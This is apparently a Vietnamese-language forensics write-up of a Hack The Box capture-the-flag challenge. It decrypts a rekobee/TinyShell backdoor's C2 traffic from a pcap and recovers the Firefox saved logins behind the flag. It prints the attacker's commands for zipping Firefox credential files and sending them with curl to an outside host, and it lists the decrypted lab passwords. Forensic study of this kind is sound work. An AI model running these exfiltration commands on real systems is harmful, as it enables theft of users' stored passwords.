Đề bài

Giải
Đề bài cho mình một file capture.pcap, mình sẽ sử dụng NetworkMiner để check trước




Vậy là sơ qua thì có thể thấy mình thu được 2 file là ELF và Zip
Khi mở file ELF bằng IDA thì mình có thấy một đoạn string là S3cr3tP@ss nhưng có vẻ nó không phải mật khẩu cho file zip, chắc là mật khẩu cho cái gì đó, mình sẽ giữ lại để xem sau
Tiếp theo mình phát hiện nó còn xuất hiện chuỗi: Usage: %s [ -c [ connect_back_host ] ] [ -s secret ] [ -p port ]
Vậy thì đây khả năng là dạng C2 traffic, sơ qua thì mình đoán là Máy nạn nhân tải malware ic2kp từ HTTP (/ic2kp trong capture.pcap), sau đó Malware kết nối C2 (TinyShell/rekobe-style) tới port 1234, sử dụng PEL (Packet Encryption Layer) để mã hóa shell, attacker có thể chạy lệnh kiểu như sau:
zip -P <ZIPPASS> b12gb.zip cert9.db key4.db times.json logins.json
curl -X POST -F "file=@b12gb.zip" http://192.168.1.11:8000/
→ File b12gb.zip được tạo từ chính câu lệnh này
Ở đây mình có thể thử giải mã shell bằng rekobee_analyzer
$ python analyze.py -c capture.pcap -s 'S3cr3tP@ss' -vv > out.txt
File khá dài nên mình sẽ không paste vào đây, sau khi chạy xong tools thì mình thấy có dòng sau
← whoami
← grps
← ls ~/.mozilla/firefox
← cd ~.//.mozilla/firefox/6z9z8d96.default-release
← zip -9 -PnL98udHrzk5vhrLWns3hIDi b12gb.zip cert9.db key4.db times.json logins.json
← curl -F 'data=@/home/cpie/.mozilla/firefox/6z9z8d96.default-release/b12gb.zip' http://192.168.1.11:8000
← rm b12gb.zip
← exit
←
→ cpie@ubuntu1804:~/Documents$ whoami
→ cpie
→ cpie@ubuntu1804:~/Documents$ groups
→ cpie sudo
→ cpie@ubuntu1804:~/Documents$ ls ~/.mozilla/firefox
→ 3nzysz44.default 6z9z8d96.default-release 'Crash Reports' installs.ini 'Pending Pings' profiles.ini
→ cpie@ubuntu1804:~/Documents$ cd ~.//.mozilla/firefox/6z9z8d96.default-release
→ cpie@ubuntu1804:~/.mozilla/firefox/6z9z8d96.default-release$ zip -9 -PnL98udHrzk5vhrLWns3hIDi b12gb.zip cert9.db key4.db times.json logins.json
→ adding: cert9.db (deflated 96%)
→ adding: key4.db (deflated 99%)
→ adding: times.json (deflated 16%)
→ adding: logins.json (deflated 57%)
→ cpie@ubuntu1804:~/.mozilla/firefox/6z9z8d96.default-release$ curl -F 'data=@/home/cpie/.mozilla/firefox/6z9z8d96.default-release/b12gb.zip' http://192.168.1.11:8000
→ curl: (52) Empty reply from server
→ cpie@ubuntu1804:~/.mozilla/firefox/6z9z8d96.default-release$ rm b12gb.zip
→ cpie@ubuntu1804:~/.mozilla/firefox/6z9z8d96.default-release$ exit
→ logout
→
[info] Done.
Vậy pass cho file zip sẽ là: nL98udHrzk5vhrLWns3hIDi
Sau đó mình nhận được profile của FireFox, dùng tool firefox_decrypt là ra
$ python3 ~/firefox_decrypt/firefox_decrypt.py ./ff_profile/
2025-11-21 16:36:03,597 - WARNING - profile.ini not found in ./ff_profile/
2025-11-21 16:36:03,598 - WARNING - Continuing and assuming './ff_profile/' is a profile location
Website: https://www.facebook.com
Username: 'cpie@gmail.com'
Password: 'password1'
Website: https://account.protonmail.com
Username: 'cpie@protonmail.com'
Password: '5SGcwI95HW9mcQ7U'
Website: https://login.cncserver.com:7443
Username: 'admin'
Password: 'HTB{r0ses_4r3_r3d_v10l3ts_4r3_blu3_n0w_I_must_d3l3t3_th1s_b4ckd00r_4nd_r3s3t_my_p4ssw0rds_t00}'
Flag
Flag: HTB{r0ses_4r3_r3d_v10l3ts_4r3_blu3_n0w_I_must_d3l3t3_th1s_b4ckd00r_4nd_r3s3t_my_p4ssw0rds_t00}
'WriteUp > Forensics' 카테고리의 다른 글
| Báo cáo dang dở - Cookie Arena (0) | 2025.11.22 |
|---|---|
| Under Control - Cookie Arena (0) | 2025.11.22 |
| emo - HackTheBox (0) | 2025.11.21 |
| oBfsC4t10n - HackTheBox (0) | 2025.11.21 |
| TrueSecrest - HackTheBox (0) | 2025.11.13 |
